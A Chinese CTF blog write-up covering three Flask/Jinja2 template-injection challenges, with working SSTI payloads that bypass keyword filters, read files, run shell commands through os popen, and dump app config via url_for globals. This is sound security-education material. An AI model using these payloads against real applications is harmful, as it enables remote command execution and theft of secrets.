CTF中的Flask之bypass

前言

继上次发布关于Flask的文章,之后说要结合的例题。今天小小的总结一波,当然这就是入门,最近Flask的题目也比较火热啊。下面我们开始吧。

存在模板注入漏洞的原因

首先在做题之前,我们先了解一下,存在漏洞的原因,Flask的模板注入和大多数的SQL注入的原因差不多,都是因为没有严格的过滤变量导致的,存在变量可控,还有就是一些开发人员对安全的不重视等。当然,存在模板注入漏洞的原因还有使用不固定的模板。模板注入的危险也是不容小觑的。

ctf中常见的例题

0x01 :XCTF-web高手区-Confusion1

来到靶场,我们看到这个,查看源码发现这张图片叫PythonvsPhp猛然就发现了这个图片的意义
在这里插入图片描述然后我们点login和register这两个页面都是报错页面,没发现什么线索
在这里插入图片描述在源码中发现,都有两段注释,看到了flag字样,那铁定是通过沙盒绕过,然后拿到可读取文件的函数进行读取。于是我们在login.php这个位置先测试是否存在模板注入,构造payload{{4*5}}
页面回显20
在这里插入图片描述我们发现这个被运算了,于是判定模板注入无疑,但是当我们要进行沙盒绕过的时候,发现{{’’.class}},想要查看str的类时,发现好像被过滤了,于是我们先来个模板注入的fuzz

在这里插入图片描述发现过滤了很多关键字啊,515一下的都不能用,但是他没有过滤request、config、url_for()、g、self等这些有用的关键字。于是我们先看一眼config,config中有很多的敏感信息,比如SECRET_KEY等

<Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}>

这些并没有什么用,但是这个导致了一些敏感信息的泄露。这里它没有设置SECRET_KEY啊。并没有什么
下面,开始回归正题,它没有过滤掉request这个全局变量,于是我们构造payload进行绕过
{{''[request.args.a]}}?&a=__class__ ==> {{''.__class__}} 这两种效果时一样的
我们看到页面回显出<type ‘str’>这样我们继续将payload构造完毕

{{''[request.args.a][request.args.b][2][request.args.c]()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt")[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

这道题,就是过滤了__class__等关键字的一些绕过。今天测试,发现file类只要有文件的路径,我们就可以读取当中的数据。果然,对题目进行复盘是有用的。奥里给,兄弟们。开始淦下一道题

0x02:[BJDCTF 2nd]fake google

这道题,好像是没有任何过滤,我们直接去逃逸沙盒就可以了
先一步步来说吧,首先第一步,我们要去确认一下是否存在python的模板注入,老思路,构造payload:{{4*5}},结果成功回显,存在模板注入。
在这里插入图片描述于是我们进行构造payload:
{{''.__class__.__mro__[1].__subclasses__()}}
会出现很多的子类,于是我们利用脚本去寻找包含os的模块,下面我贴出脚本,很没有技术含量的find.py

lists = ["<class 'type'>",............" <class 'jinja2.ext._CommentFinder'>"]
search = "os"
count = 0
for i in lists:
    if search in i:
        print(count,i)
    count += 1

lists是通过我们上面构造payload出来的那些子类我们通过一些替换将它转换成字符串数组,然后进行列举,search就是你想要搜的一些关键字等。例如包含os模块的类,我们就搜os,想要popen我们可以搜popen等,count是索引,这里们我们找到带有os模块的类117 <class ‘os._wrap_close’>,于是我们对其进行利用,最终构造payload

{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']("cat ../flag").read()}}  
#读取到里面的flag

这里我们要读取flag的方式有很多。不再一一例举了。

0x03 :[WesternCTF2018]shrine

这道题上来就给出了源码,那我也将源码贴出来吧

import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

代码审计一下,发现FLAG在environ里面,给了app.config,说明FLAG在配置文件里面,我们都知道,Flask在开发的过程中,我们会将一些配置参数都放在这里面,前面,有一道题,我也跟大家说了敏感信息的泄露等,这道题就是让我们去读取config中的数据。
于是我们接着往下看,路由注册,/shrine路径下传入一个path类型的的参数,下面是shirne的视图函数,里面还有一个safe_jinja的函数,为了过滤config和self的变量,如果传入这两个,都将会被替换为None。当然这里它还是没有过滤一些全局的函数,比如url_for(),我们将url_for().__globals__发现里面有current_app这个键名,键值为<Flask ‘app’>
那我们是不是可以从这里进行绕过呢?
于是我们进行payload:{{url_for().globals[‘current_app’].config}}
在这里插入图片描述我们发现,我们构造成功,拿到FLAG。这里我们还有一个跟url_for()这样的全局变量get_flashed_messages
get_flashed_messages返回之前在Flask中通过flash()传入的闪现信息列表,把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages()方法取出(闪现消息只能被取出一次,取出之后就没有了)
通过这两个内置函数我们就可以访问它的__globals__变量,来获取当前的app,构造如下payload:

/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

这两种都可以达到同样的效果,这就是我们要是需要绕过获取config的一些方法吧。

结尾

迟来的常见Flask题目案例解析,应该是够详细了,希望可以得到大家的支持,每天进步一点点吧。有时候复盘一下写过的题,还是有收获的。那句话怎么说来着,温故而知新。好了,我们下回再见

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

什么都不会的coder

您的支持是我最大的幸运

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值